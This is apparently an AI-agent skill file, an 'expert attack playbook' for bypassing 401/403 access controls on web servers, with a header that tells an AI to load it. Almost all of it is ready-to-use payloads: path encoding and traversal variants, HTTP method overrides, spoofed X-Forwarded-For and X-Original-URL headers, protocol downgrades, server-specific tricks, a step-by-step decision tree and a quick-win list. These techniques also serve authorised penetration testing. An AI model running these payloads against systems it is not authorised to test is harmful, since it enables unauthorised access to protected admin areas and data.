401-403-bypass-techniques

# SKILL: 401/403 Bypass Techniques — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos. ## 0. RELATED ROUTING - [authbypass-authentication-flaws](../hack-authbypass-authentication-flaws/SKILL.md) — broader auth bypass (login flaws, session handling) - [waf-bypass-techniques](../hack-waf-bypass-techniques/SKILL.md) — when bypass is WAF-specific rather than access control - [http-host-header-attacks](../hack-http-host-header-attacks/SKILL.md) — Host header manipulation for routing bypass - [request-smuggling](../hack-request-smuggling/SKILL.md) — smuggle past access controls entirely - [http2-specific-attacks](../hack-http2-specific-attacks/SKILL.md) — h2c smuggling to bypass proxy ACLs --- ## 1. PATH MANIPULATION BYPASSES The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently. ### 1.1 Trailing Slash / Missing Slash ``` /admin → 403 /admin/ → 200 ✓ (trailing slash) /admin/. → 200 ✓ (trailing dot) ``` ### 1.2 Case Sensitivity ``` /admin → 403 /Admin → 200 ✓ /ADMIN → 200 ✓ /aDmIn → 200 ✓ ``` Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS). ### 1.3 URL Encoding ``` /admin → 403 /%61dmin → 200 ✓ (encode 'a') /admi%6e → 200 ✓ (encode 'n') /%61%64%6d%69%6e → 200 ✓ (full encode) ``` ### 1.4 Double URL Encoding ``` /admin → 403 /%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a) /admin%252f → 200 ✓ /admin..%252f → 200 ✓ ``` ### 1.5 Unicode / UTF-8 Encoding ``` /admin → 403 /admi%C0%AE → 200 ✓ (overlong UTF-8 for '.') /admi%C0%6E → 200 ✓ (overlong encoding) /%C0%AFadmin → 200 ✓ (overlong '/') ``` ### 1.6 Dot-Segment / Path Traversal ``` /admin → 403 /./admin → 200 ✓ //admin → 200 ✓ /admin/./ → 200 ✓ /.//admin → 200 ✓ /admin..;/ → 200 ✓ (Tomcat path parameter) ``` ### 1.7 Null Byte ``` /admin → 403 /admin%00 → 200 ✓ /admin%00.json → 200 ✓ /%00/admin → 200 ✓ ``` ### 1.8 Path Parameter Injection ``` /admin → 403 /admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param) /admin; → 200 ✓ /admin;x → 200 ✓ ``` ### 1.9 Trailing Special Characters ``` /admin%20 (space) /admin%09 (tab) /admin? (empty query) /admin.json /admin.html /admin/~ ``` ### 1.10 Backslash (Windows/IIS) ``` /admin\ /admin\..\/ \..\admin ``` ### 1.11 Combined Path Tricks ``` ///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin ``` --- ## 2. HTTP METHOD BYPASS ### 2.1 Direct Method Change ``` GET /admin → 403 POST /admin → 200 ✓ PUT /admin → 200 ✓ PATCH /admin → 200 ✓ DELETE /admin → 200 ✓ OPTIONS /admin → 200 ✓ (may leak allowed methods) TRACE /admin → 200 ✓ (may reflect headers — XST) HEAD /admin → 200 ✓ (same as GET but no body — confirms access) ``` ### 2.2 Method Override Headers When the proxy blocks by method, but the backend reads override headers: ```http GET /admin HTTP/1.1 X-HTTP-Method-Override: PUT GET /admin HTTP/1.1 X-Method-Override: POST GET /admin HTTP/1.1 X-HTTP-Method: DELETE POST /admin HTTP/1.1 X-HTTP-Method-Override: PATCH _method=PUT (in POST body — Rails, Laravel) ``` ### 2.3 Custom / Invalid Methods ``` FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST GETS /admin HTTP/1.1 → typo-like methods may bypass CONNECT /admin HTTP/1.1 → proxy may tunnel PROPFIND /admin HTTP/1.1 → WebDAV method MOVE /admin HTTP/1.1 → WebDAV method ``` --- ## 3. HEADER-BASED BYPASS ### 3.1 URL Rewrite Headers (Nginx/IIS) These headers tell the backend the "real" URL, bypassing proxy-level path checks: ```http GET / HTTP/1.1 X-Original-URL: /admin GET / HTTP/1.1 X-Rewrite-URL: /admin ``` The proxy sees `GET /` (allowed), but the backend routes to `/admin`. ### 3.2 IP Spoofing Headers (Whitelist Bypass) Headers to try (each with values `127.0.0.1`, `10.0.0.1`, `0.0.0.0`, `::1`): ```http X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1 ``` IP encoding variants: `0177.0.0.1` (octal), `2130706433` (decimal), `0x7f000001` (hex), `localhost` ### 3.3 Other Header Tricks ```http Referer: https://target.com/admin # Referrer check bypass Origin: https://target.com # Origin check bypass Host: localhost # Host header manipulation X-Forwarded-Host: localhost # Forwarded host Content-Type: application/json # Content-type switch X-Requested-With: XMLHttpRequest # AJAX flag ``` --- ## 4. PROTOCOL VERSION BYPASS ```http # HTTP/1.0 (some ACLs only apply to HTTP/1.1) GET /admin HTTP/1.0 # HTTP/0.9 (extremely legacy — no headers) GET /admin # HTTP/2 pseudo-header tricks :method: GET :path: /admin :authority: target.com # See ../http2-specific-attacks/SKILL.md for H2-specific bypasses ``` --- ## 5. VERB TAMPERING + PATH COMBINATION Combine multiple techniques for higher success rate: ```http POST / HTTP/1.1 # method override + URL rewrite X-Original-URL: /admin X-HTTP-Method-Override: GET GET /%61dmin HTTP/1.1 # IP spoof + path encoding X-Forwarded-For: 127.0.0.1 GET /Admin HTTP/1.0 # protocol + case + IP spoof X-Forwarded-For: 127.0.0.1 ``` --- ## 6. TECHNOLOGY-SPECIFIC BYPASSES | Server | Key Tricks | |---|---| | **Apache** | `/admin/` (trailing slash), `/.admin` (dot prefix), `/admin%0d` (CR) | | **Nginx** | `/Admin` (case), `/admin../` (normalization), `X-Original-URL: /admin` | | **IIS/ASP.NET** | `/admin;.css` (path param+ext), `/admin\` (backslash), `/admin::$DATA` (ADS), `/admin%20` | | **Tomcat/Java** | `/admin;foo` (path param), `/admin..;/` (traversal), `/;/admin` (empty param) | | **Spring** | `/admin.anything` (suffix matching, older), `/admin/` (trailing slash) | --- ## 7. AUTOMATED TOOLS | Tool | Purpose | URL | |---|---|---| | **byp4xx** | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx | | **403bypasser** | Automated header/path/method bypass | github.com/sting8k/403bypasser | | **dirsearch** | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch | | **feroxbuster** | Recursive content discovery | github.com/epi052/feroxbuster | | **Burp Intruder** | Custom payload lists for manual testing | portswigger.net | ### byp4xx usage ```bash # Basic usage ./byp4xx.sh https://target.com/admin # Output shows all attempted bypasses and their response codes # 200/301/302 responses = potential bypass found ``` --- ## 8. DECISION TREE ``` Got 401 or 403 on a path? │ ├── Try PATH MANIPULATION first (highest success rate) │ ├── /path/ (trailing slash) │ ├── /PATH (case change) │ ├── /path%20 (trailing space) │ ├── /./path (dot segment) │ ├── //path (double slash) │ ├── /path;x (path parameter — Java/Tomcat) │ ├── /path..;/ (Tomcat specific) │ ├── /%2e/path (encoded dot) │ ├── /path%00 (null byte) │ ├── /path%23 (encoded hash) │ └── Result? → 200 = bypass found │ ├── Path tricks failed → Try METHOD BYPASS │ ├── POST/PUT/PATCH/DELETE/OPTIONS │ ├── HEAD (same as GET without body) │ ├── X-HTTP-Method-Override: PUT │ └── TRACE (may reflect auth headers — XST) │ ├── Method tricks failed → Try HEADER BYPASS │ ├── X-Original-URL: /path (Nginx/IIS rewrite) │ ├── X-Rewrite-URL: /path (same concept) │ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist) │ ├── X-Real-IP: 127.0.0.1 │ ├── True-Client-IP: 127.0.0.1 │ └── Referer: https://target.com/path │ ├── Header tricks failed → Try PROTOCOL BYPASS │ ├── HTTP/1.0 instead of 1.1 │ ├── HTTP/2 h2c smuggling (../http2-specific-attacks/) │ └── WebSocket upgrade │ ├── Single techniques failed → Try COMBINATIONS │ ├── Method + Path: POST /PATH/ │ ├── Header + Path: X-Forwarded-For + /path%20 │ ├── All three: POST + X-Original-URL + IP headers │ └── Protocol + Path: HTTP/1.0 + encoded path │ ├── All bypasses failed → Consider ALTERNATIVE APPROACHES │ ├── Request smuggling (../request-smuggling/) → smuggle past ACL │ ├── SSRF (../ssrf-server-side-request-forgery/) → access from server │ ├── IDOR (../idor-broken-object-authorization/) → access data directly │ └── Auth flaws (../authbypass-authentication-flaws/) → login bypass │ └── Automated scan with byp4xx / 403bypasser for completeness ``` --- ## 9. QUICK REFERENCE — KEY PAYLOADS ```http # Top 10 quick-wins (try these first) GET /admin/ HTTP/1.1 # trailing slash GET /Admin HTTP/1.1 # case change GET /admin%20 HTTP/1.1 # trailing space GET /./admin HTTP/1.1 # dot segment GET //admin HTTP/1.1 # double slash POST /admin HTTP/1.1 # method change GET / HTTP/1.1 # X-Original-URL bypass X-Original-URL: /admin GET /admin HTTP/1.1 # IP whitelist bypass X-Forwarded-For: 127.0.0.1 GET /admin;.css HTTP/1.1 # IIS path param GET /admin..;/ HTTP/1.1 # Tomcat bypass ```